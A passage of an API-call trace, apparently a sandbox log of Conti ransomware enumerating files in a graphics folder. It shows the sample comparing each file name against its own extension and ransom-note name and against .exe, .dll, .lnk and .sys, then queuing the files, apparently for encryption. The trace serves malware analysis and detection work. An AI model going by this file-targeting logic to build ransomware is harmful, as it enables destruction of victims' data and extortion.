	[0093.998] StrStrIW (lpFirst="Rotate5.ico", lpSrch=".dll") returned 0x0
	[0093.998] StrStrIW (lpFirst="Rotate5.ico", lpSrch=".lnk") returned 0x0
	[0093.998] StrStrIW (lpFirst="Rotate5.ico", lpSrch=".sys") returned 0x0
	[0093.998] StrStrIW (lpFirst="Rotate5.ico", lpSrch=".CONTI") returned 0x0
	[0093.998] StrStrIW (lpFirst="Rotate5.ico", lpSrch="CONTI_README.txt") returned 0x0
	[0093.998] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics") returned 30
	[0093.998] lstrlenW (lpString="Rotate5.ico") returned 11
	[0093.998] GetProcessHeap () returned 0x1720000
	[0093.998] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x56) returned 0x17c3ef0
	[0093.998] lstrcpyW (in: lpString1=0x17c3ef0, lpString2="C:\\588bce7c90097ed212\\Graphics" | out: lpString1="C:\\588bce7c90097ed212\\Graphics") returned="C:\\588bce7c90097ed212\\Graphics"
	[0093.998] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\Graphics", lpString2="\\" | out: lpString1="C:\\588bce7c90097ed212\\Graphics\\") returned="C:\\588bce7c90097ed212\\Graphics\\"
	[0093.998] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\Graphics\\", lpString2="Rotate5.ico" | out: lpString1="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico") returned="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico"
	[0093.998] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17d3d40) returned 1
	[0093.998] FindNextFileW (in: hFindFile=0x175e4f0, lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x5c3f8dc, dwReserved1=0xb6884, cFileName="Rotate6.ico", cAlternateFileName="")) returned 1
	[0093.998] lstrcmpiW (lpString1="Rotate6.ico", lpString2=".") returned 1
	[0093.998] lstrcmpiW (lpString1="Rotate6.ico", lpString2="..") returned 1
	[0093.999] StrStrIW (lpFirst="Rotate6.ico", lpSrch=".CONTI") returned 0x0
	[0093.999] StrStrIW (lpFirst="Rotate6.ico", lpSrch="CONTI_README.txt") returned 0x0
	[0093.999] StrStrIW (lpFirst="Rotate6.ico", lpSrch=".exe") returned 0x0
	[0093.999] StrStrIW (lpFirst="Rotate6.ico", lpSrch=".dll") returned 0x0
	[0093.999] StrStrIW (lpFirst="Rotate6.ico", lpSrch=".lnk") returned 0x0
	[0093.999] StrStrIW (lpFirst="Rotate6.ico", lpSrch=".sys") returned 0x0
	[0093.999] StrStrIW (lpFirst="Rotate6.ico", lpSrch=".CONTI") returned 0x0
	[0093.999] StrStrIW (lpFirst="Rotate6.ico", lpSrch="CONTI_README.txt") returned 0x0
	[0093.999] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics") returned 30
	[0093.999] lstrlenW (lpString="Rotate6.ico") returned 11
	[0093.999] GetProcessHeap () returned 0x1720000
	[0093.999] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x56) returned 0x17c3f50
	[0093.999] lstrcpyW (in: lpString1=0x17c3f50, lpString2="C:\\588bce7c90097ed212\\Graphics" | out: lpString1="C:\\588bce7c90097ed212\\Graphics") returned="C:\\588bce7c90097ed212\\Graphics"
	[0093.999] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\Graphics", lpString2="\\" | out: lpString1="C:\\588bce7c90097ed212\\Graphics\\") returned="C:\\588bce7c90097ed212\\Graphics\\"
	[0093.999] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\Graphics\\", lpString2="Rotate6.ico" | out: lpString1="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico") returned="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico"
	[0093.999] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17d5d30) returned 1
	[0093.999] FindNextFileW (in: hFindFile=0x175e4f0, lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x5c3f8dc, dwReserved1=0xb6884, cFileName="Rotate7.ico", cAlternateFileName="")) returned 1
	[0093.999] lstrcmpiW (lpString1="Rotate7.ico", lpString2=".") returned 1
	[0093.999] lstrcmpiW (lpString1="Rotate7.ico", lpString2="..") returned 1
	[0093.999] StrStrIW (lpFirst="Rotate7.ico", lpSrch=".CONTI") returned 0x0
	[0093.999] StrStrIW (lpFirst="Rotate7.ico", lpSrch="CONTI_README.txt") returned 0x0
	[0093.999] StrStrIW (lpFirst="Rotate7.ico", lpSrch=".exe") returned 0x0
	[0093.999] StrStrIW (lpFirst="Rotate7.ico", lpSrch=".dll") returned 0x0
	[0093.999] StrStrIW (lpFirst="Rotate7.ico", lpSrch=".lnk") returned 0x0
	[0093.999] StrStrIW (lpFirst="Rotate7.ico", lpSrch=".sys") returned 0x0
	[0093.999] StrStrIW (lpFirst="Rotate7.ico", lpSrch=".CONTI") returned 0x0
	[0093.999] StrStrIW (lpFirst="Rotate7.ico", lpSrch="CONTI_README.txt") returned 0x0
	[0093.999] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics") returned 30
	[0093.999] lstrlenW (lpString="Rotate7.ico") returned 11
	[0093.999] GetProcessHeap () returned 0x1720000
	[0093.999] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x56) returned 0x17c3fb0
	[0093.999] lstrcpyW (in: lpString1=0x17c3fb0, lpString2="C:\\588bce7c90097ed212\\Graphics" | out: lpString1="C:\\588bce7c90097ed212\\Graphics") returned="C:\\588bce7c90097ed212\\Graphics"
	[0093.999] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\Graphics", lpString2="\\" | out: lpString1="C:\\588bce7c90097ed212\\Graphics\\") returned="C:\\588bce7c90097ed212\\Graphics\\"
	[0093.999] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\Graphics\\", lpString2="Rotate7.ico" | out: lpString1="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico") returned="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico"
	[0094.000] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17d3f88) returned 1
	[0094.000] FindNextFileW (in: hFindFile=0x175e4f0, lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x5c3f8dc, dwReserved1=0xb6884, cFileName="Rotate8.ico", cAlternateFileName="")) returned 1
	[0094.000] lstrcmpiW (lpString1="Rotate8.ico", lpString2=".") returned 1
	[0094.000] lstrcmpiW (lpString1="Rotate8.ico", lpString2="..") returned 1
	[0094.000] StrStrIW (lpFirst="Rotate8.ico", lpSrch=".CONTI") returned 0x0
	[0094.000] StrStrIW (lpFirst="Rotate8.ico", lpSrch="CONTI_README.txt") returned 0x0
	[0094.000] StrStrIW (lpFirst="Rotate8.ico", lpSrch=".exe") returned 0x0
	[0094.000] StrStrIW (lpFirst="Rotate8.ico", lpSrch=".dll") returned 0x0
	[0094.000] StrStrIW (lpFirst="Rotate8.ico", lpSrch=".lnk") returned 0x0
	[0094.000] StrStrIW (lpFirst="Rotate8.ico", lpSrch=".sys") returned 0x0
	[0094.000] StrStrIW (lpFirst="Rotate8.ico", lpSrch=".CONTI") returned 0x0
	[0094.000] StrStrIW (lpFirst="Rotate8.ico", lpSrch="CONTI_README.txt") returned 0x0
	[0094.000] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics") returned 30
	[0094.000] lstrlenW (lpString="Rotate8.ico") returned 11
	[0094.000] GetProcessHeap () returned 0x1720000
	[0094.000] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x56) returned 0x17c4010
	[0094.000] lstrcpyW (in: lpString1=0x17c4010, lpString2="C:\\588bce7c90097ed212\\Graphics" | out: lpString1="C:\\588bce7c90097ed212\\Graphics") returned="C:\\588bce7c90097ed212\\Graphics"
	[0094.000] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\Graphics", lpString2="\\" | out: lpString1="C:\\588bce7c90097ed212\\Graphics\\") returned="C:\\588bce7c90097ed212\\Graphics\\"
	[0094.000] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\Graphics\\", lpString2="Rotate8.ico" | out: lpString1="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico") returned="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico"
	[0094.000] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17d41d0) returned 1
	[0094.000] FindNextFileW (in: hFindFile=0x175e4f0, lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x47e, dwReserved0=0x5c3f8dc, dwReserved1=0xb6884, cFileName="Save.ico", cAlternateFileName="")) returned 1
	[0094.000] lstrcmpiW (lpString1="Save.ico", lpString2=".") returned 1
	[0094.000] lstrcmpiW (lpString1="Save.ico", lpString2="..") returned 1
	[0094.000] StrStrIW (lpFirst="Save.ico", lpSrch=".CONTI") returned 0x0
	[0094.000] StrStrIW (lpFirst="Save.ico", lpSrch="CONTI_README.txt") returned 0x0
	[0094.000] StrStrIW (lpFirst="Save.ico", lpSrch=".exe") returned 0x0
	[0094.000] StrStrIW (lpFirst="Save.ico", lpSrch=".dll") returned 0x0
	[0094.000] StrStrIW (lpFirst="Save.ico", lpSrch=".lnk") returned 0x0
	[0094.000] StrStrIW (lpFirst="Save.ico", lpSrch=".sys") returned 0x0
	[0094.000] StrStrIW (lpFirst="Save.ico", lpSrch=".CONTI") returned 0x0
	[0094.000] StrStrIW (lpFirst="Save.ico", lpSrch="CONTI_README.txt") returned 0x0
	[0094.000] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics") returned 30
	[0094.000] lstrlenW (lpString="Save.ico") returned 8
	[0094.001] GetProcessHeap () returned 0x1720000
	[0094.001] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x50) returned 0x17bfeb0
	[0094.001] lstrcpyW (in: lpString1=0x17bfeb0, lpString2="C:\\588bce7c90097ed212\\Graphics" | out: lpString1="C:\\588bce7c90097ed212\\Graphics") returned="C:\\588bce7c90097ed212\\Graphics"
	[0094.001] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\Graphics", lpString2="\\" | out: lpString1="C:\\588bce7c90097ed212\\Graphics\\") returned="C:\\588bce7c90097ed212\\Graphics\\"
	[0094.001] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\Graphics\\", lpString2="Save.ico" | out: lpString1="C:\\588bce7c90097ed212\\Graphics\\Save.ico") returned="C:\\588bce7c90097ed212\\Graphics\\Save.ico"
	[0094.001] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17d4418) returned 1
	[0094.001] FindNextFileW (in: hFindFile=0x175e4f0, lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x8f66, dwReserved0=0x5c3f8dc, dwReserved1=0xb6884, cFileName="Setup.ico", cAlternateFileName="")) returned 1
	[0094.001] lstrcmpiW (lpString1="Setup.ico", lpString2=".") returned 1
	[0094.001] lstrcmpiW (lpString1="Setup.ico", lpString2="..") returned 1
	[0094.001] StrStrIW (lpFirst="Setup.ico", lpSrch=".CONTI") returned 0x0
	[0094.001] StrStrIW (lpFirst="Setup.ico", lpSrch="CONTI_README.txt") returned 0x0
	[0094.001] StrStrIW (lpFirst="Setup.ico", lpSrch=".exe") returned 0x0
	[0094.001] StrStrIW (lpFirst="Setup.ico", lpSrch=".dll") returned 0x0
	[0094.001] StrStrIW (lpFirst="Setup.ico", lpSrch=".lnk") returned 0x0
	[0094.001] StrStrIW (lpFirst="Setup.ico", lpSrch=".sys") returned 0x0
	[0094.001] StrStrIW (lpFirst="Setup.ico", lpSrch=".CONTI") returned 0x0
	[0094.001] StrStrIW (lpFirst="Setup.ico", lpSrch="CONTI_README.txt") returned 0x0
	[0094.001] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics") returned 30
	[0094.001] lstrlenW (lpString="Setup.ico") returned 9
	[0094.001] GetProcessHeap () returned 0x1720000
	[0094.001] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x52) returned 0x17bff08
	[0094.001] lstrcpyW (in: lpString1=0x17bff08, lpString2="C:\\588bce7c90097ed212\\Graphics" | out: lpString1="C:\\588bce7c90097ed212\\Graphics") returned="C:\\588bce7c90097ed212\\Graphics"
	[0094.001] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\Graphics", lpString2="\\" | out: lpString1="C:\\588bce7c90097ed212\\Graphics\\") returned="C:\\588bce7c90097ed212\\Graphics\\"
	[0094.001] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\Graphics\\", lpString2="Setup.ico" | out: lpString1="C:\\588bce7c90097ed212\\Graphics\\Setup.ico") returned="C:\\588bce7c90097ed212\\Graphics\\Setup.ico"
	[0094.001] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17d48a8) returned 1
	[0094.001] FindNextFileW (in: hFindFile=0x175e4f0, lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5b5e7f00, ftCreationTime.dwHighDateTime=0x1ca927c, ftLastAccessTime.dwLowDateTime=0x5b5e7f00, ftLastAccessTime.dwHighDateTime=0x1ca927c, ftLastWriteTime.dwLowDateTime=0x5b5e7f00, ftLastWriteTime.dwHighDateTime=0x1ca927c, nFileSizeHigh=0x0, nFileSizeLow=0x2796, dwReserved0=0x5c3f8dc, dwReserved1=0xb6884, cFileName="stop.ico", cAlternateFileName="")) returned 1
	[0094.001] lstrcmpiW (lpString1="stop.ico", lpString2=".") returned 1
	[0094.001] lstrcmpiW (lpString1="stop.ico", lpString2="..") returned 1
	[0094.001] StrStrIW (lpFirst="stop.ico", lpSrch=".CONTI") returned 0x0
	[0094.001] StrStrIW (lpFirst="stop.ico", lpSrch="CONTI_README.txt") returned 0x0
	[0094.001] StrStrIW (lpFirst="stop.ico", lpSrch=".exe") returned 0x0
	[0094.001] StrStrIW (lpFirst="stop.ico", lpSrch=".dll") returned 0x0
	[0094.001] StrStrIW (lpFirst="stop.ico", lpSrch=".lnk") returned 0x0
	[0094.002] StrStrIW (lpFirst="stop.ico", lpSrch=".sys") returned 0x0
	[0094.002] StrStrIW (lpFirst="stop.ico", lpSrch=".CONTI") returned 0x0
	[0094.002] StrStrIW (lpFirst="stop.ico", lpSrch="CONTI_README.txt") returned 0x0
	[0094.002] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics") returned 30
	[0094.002] lstrlenW (lpString="stop.ico") returned 8
	[0094.002] GetProcessHeap () returned 0x1720000
	[0094.002] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x50) returned 0x17bff68
	[0094.002] lstrcpyW (in: lpString1=0x17bff68, lpString2="C:\\588bce7c90097ed212\\Graphics" | out: lpString1="C:\\588bce7c90097ed212\\Graphics") returned="C:\\588bce7c90097ed212\\Graphics"
	[0094.002] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\Graphics", lpString2="\\" | out: lpString1="C:\\588bce7c90097ed212\\Graphics\\") returned="C:\\588bce7c90097ed212\\Graphics\\"
	[0094.002] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\Graphics\\", lpString2="stop.ico" | out: lpString1="C:\\588bce7c90097ed212\\Graphics\\stop.ico") returned="C:\\588bce7c90097ed212\\Graphics\\stop.ico"
	[0094.002] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17d4af0) returned 1
	[0094.002] FindNextFileW (in: hFindFile=0x175e4f0, lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x47e, dwReserved0=0x5c3f8dc, dwReserved1=0xb6884, cFileName="SysReqMet.ico", cAlternateFileName="SYSREQ~1.ICO")) returned 1
	[0094.002] lstrcmpiW (lpString1="SysReqMet.ico", lpString2=".") returned 1
	[0094.002] lstrcmpiW (lpString1="SysReqMet.ico", lpString2="..") returned 1
	[0094.002] StrStrIW (lpFirst="SysReqMet.ico", lpSrch=".CONTI") returned 0x0
	[0094.002] StrStrIW (lpFirst="SysReqMet.ico", lpSrch="CONTI_README.txt") returned 0x0
	[0094.002] StrStrIW (lpFirst="SysReqMet.ico", lpSrch=".exe") returned 0x0
	[0094.002] StrStrIW (lpFirst="SysReqMet.ico", lpSrch=".dll") returned 0x0
	[0094.002] StrStrIW (lpFirst="SysReqMet.ico", lpSrch=".lnk") returned 0x0
	[0094.002] StrStrIW (lpFirst="SysReqMet.ico", lpSrch=".sys") returned 0x0
	[0094.002] StrStrIW (lpFirst="SysReqMet.ico", lpSrch=".CONTI") returned 0x0
	[0094.002] StrStrIW (lpFirst="SysReqMet.ico", lpSrch="CONTI_README.txt") returned 0x0
	[0094.002] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics") returned 30
	[0094.002] lstrlenW (lpString="SysReqMet.ico") returned 13
	[0094.002] GetProcessHeap () returned 0x1720000
	[0094.002] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x5a) returned 0x17c0bf8
	[0094.002] lstrcpyW (in: lpString1=0x17c0bf8, lpString2="C:\\588bce7c90097ed212\\Graphics" | out: lpString1="C:\\588bce7c90097ed212\\Graphics") returned="C:\\588bce7c90097ed212\\Graphics"
	[0094.002] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\Graphics", lpString2="\\" | out: lpString1="C:\\588bce7c90097ed212\\Graphics\\") returned="C:\\588bce7c90097ed212\\Graphics\\"
	[0094.002] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\Graphics\\", lpString2="SysReqMet.ico" | out: lpString1="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico") returned="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico"
	[0094.002] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17d4d38) returned 1
	[0094.002] FindNextFileW (in: hFindFile=0x175e4f0, lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x47e, dwReserved0=0x5c3f8dc, dwReserved1=0xb6884, cFileName="SysReqNotMet.ico", cAlternateFileName="SYSREQ~2.ICO")) returned 1
	[0094.002] lstrcmpiW (lpString1="SysReqNotMet.ico", lpString2=".") returned 1
	[0094.002] lstrcmpiW (lpString1="SysReqNotMet.ico", lpString2="..") returned 1
	[0094.003] StrStrIW (lpFirst="SysReqNotMet.ico", lpSrch=".CONTI") returned 0x0
	[0094.003] StrStrIW (lpFirst="SysReqNotMet.ico", lpSrch="CONTI_README.txt") returned 0x0
	[0094.003] StrStrIW (lpFirst="SysReqNotMet.ico", lpSrch=".exe") returned 0x0
	[0094.003] StrStrIW (lpFirst="SysReqNotMet.ico", lpSrch=".dll") returned 0x0
	[0094.003] StrStrIW (lpFirst="SysReqNotMet.ico", lpSrch=".lnk") returned 0x0
	[0094.003] StrStrIW (lpFirst="SysReqNotMet.ico", lpSrch=".sys") returned 0x0
	[0094.003] StrStrIW (lpFirst="SysReqNotMet.ico", lpSrch=".CONTI") returned 0x0
	[0094.003] StrStrIW (lpFirst="SysReqNotMet.ico", lpSrch="CONTI_README.txt") returned 0x0
	[0094.003] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics") returned 30
	[0094.003] lstrlenW (lpString="SysReqNotMet.ico") returned 16
	[0094.003] GetProcessHeap () returned 0x1720000
	[0094.003] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x60) returned 0x17c0c60
	[0094.003] lstrcpyW (in: lpString1=0x17c0c60, lpString2="C:\\588bce7c90097ed212\\Graphics" | out: lpString1="C:\\588bce7c90097ed212\\Graphics") returned="C:\\588bce7c90097ed212\\Graphics"
	[0094.003] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\Graphics", lpString2="\\" | out: lpString1="C:\\588bce7c90097ed212\\Graphics\\") returned="C:\\588bce7c90097ed212\\Graphics\\"
	[0094.003] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\Graphics\\", lpString2="SysReqNotMet.ico" | out: lpString1="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico") returned="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico"
	[0094.003] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17d4f80) returned 1
	[0094.003] FindNextFileW (in: hFindFile=0x175e4f0, lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x2796, dwReserved0=0x5c3f8dc, dwReserved1=0xb6884, cFileName="warn.ico", cAlternateFileName="")) returned 1
	[0094.003] lstrcmpiW (lpString1="warn.ico", lpString2=".") returned 1
	[0094.003] lstrcmpiW (lpString1="warn.ico", lpString2="..") returned 1
	[0094.003] StrStrIW (lpFirst="warn.ico", lpSrch=".CONTI") returned 0x0
	[0094.003] StrStrIW (lpFirst="warn.ico", lpSrch="CONTI_README.txt") returned 0x0
	[0094.003] StrStrIW (lpFirst="warn.ico", lpSrch=".exe") returned 0x0
	[0094.003] StrStrIW (lpFirst="warn.ico", lpSrch=".dll") returned 0x0
	[0094.003] StrStrIW (lpFirst="warn.ico", lpSrch=".lnk") returned 0x0
	[0094.003] StrStrIW (lpFirst="warn.ico", lpSrch=".sys") returned 0x0
	[0094.003] StrStrIW (lpFirst="warn.ico", lpSrch=".CONTI") returned 0x0
	[0094.003] StrStrIW (lpFirst="warn.ico", lpSrch="CONTI_README.txt") returned 0x0
	[0094.003] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics") returned 30
	[0094.003] lstrlenW (lpString="warn.ico") returned 8
	[0094.003] GetProcessHeap () returned 0x1720000
	[0094.003] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x50) returned 0x17bffc0
	[0094.003] lstrcpyW (in: lpString1=0x17bffc0, lpString2="C:\\588bce7c90097ed212\\Graphics" | out: lpString1="C:\\588bce7c90097ed212\\Graphics") returned="C:\\588bce7c90097ed212\\Graphics"
	[0094.004] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\Graphics", lpString2="\\" | out: lpString1="C:\\588bce7c90097ed212\\Graphics\\") returned="C:\\588bce7c90097ed212\\Graphics\\"
	[0094.004] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\Graphics\\", lpString2="warn.ico" | out: lpString1="C:\\588bce7c90097ed212\\Graphics\\warn.ico") returned="C:\\588bce7c90097ed212\\Graphics\\warn.ico"
	[0094.004] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17d61c0) returned 1
	[0094.004] FindNextFileW (in: hFindFile=0x175e4f0, lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x2796, dwReserved0=0x5c3f8dc, dwReserved1=0xb6884, cFileName="warn.ico", cAlternateFileName="")) returned 0
	[0094.004] GetProcessHeap () returned 0x1720000
	[0094.004] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x173d238 | out: hHeap=0x1720000) returned 1
	[0094.004] FindClose (in: hFindFile=0x175e4f0 | out: hFindFile=0x175e4f0) returned 1
	[0094.004] GetProcessHeap () returned 0x1720000
	[0094.004] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1734900 | out: hHeap=0x1720000) returned 1
	[0094.004] FindNextFileW (in: hFindFile=0x175e670, lpFindFileData=0x5c3f8b0 | out: lpFindFileData=0x5c3f8b0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x87910600, ftCreationTime.dwHighDateTime=0x1ca2a27, ftLastAccessTime.dwLowDateTime=0x87910600, ftLastAccessTime.dwHighDateTime=0x1ca2a27, ftLastWriteTime.dwLowDateTime=0x87910600, ftLastWriteTime.dwHighDateTime=0x1ca2a27, nFileSizeHigh=0x0, nFileSizeLow=0xe2c, dwReserved0=0x45, dwReserved1=0xffffed8b, cFileName="header.bmp", cAlternateFileName="")) returned 1
	[0094.004] lstrcmpiW (lpString1="header.bmp", lpString2=".") returned 1
	[0094.004] lstrcmpiW (lpString1="header.bmp", lpString2="..") returned 1
	[0094.004] StrStrIW (lpFirst="header.bmp", lpSrch=".CONTI") returned 0x0
	[0094.004] StrStrIW (lpFirst="header.bmp", lpSrch="CONTI_README.txt") returned 0x0
	[0094.004] StrStrIW (lpFirst="header.bmp", lpSrch=".exe") returned 0x0
	[0094.004] StrStrIW (lpFirst="header.bmp", lpSrch=".dll") returned 0x0
	[0094.004] StrStrIW (lpFirst="header.bmp", lpSrch=".lnk") returned 0x0
	[0094.004] StrStrIW (lpFirst="header.bmp", lpSrch=".sys") returned 0x0
	[0094.004] StrStrIW (lpFirst="header.bmp", lpSrch=".CONTI") returned 0x0
	[0094.004] StrStrIW (lpFirst="header.bmp", lpSrch="CONTI_README.txt") returned 0x0
	[0094.004] lstrlenW (lpString="C:\\588bce7c90097ed212") returned 21
	[0094.004] lstrlenW (lpString="header.bmp") returned 10
	[0094.004] GetProcessHeap () returned 0x1720000
	[0094.004] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x42) returned 0x173d0a8
	[0094.004] lstrcpyW (in: lpString1=0x173d0a8, lpString2="C:\\588bce7c90097ed212" | out: lpString1="C:\\588bce7c90097ed212") returned="C:\\588bce7c90097ed212"
	[0094.004] lstrcatW (in: lpString1="C:\\588bce7c90097ed212", lpString2="\\" | out: lpString1="C:\\588bce7c90097ed212\\") returned="C:\\588bce7c90097ed212\\"
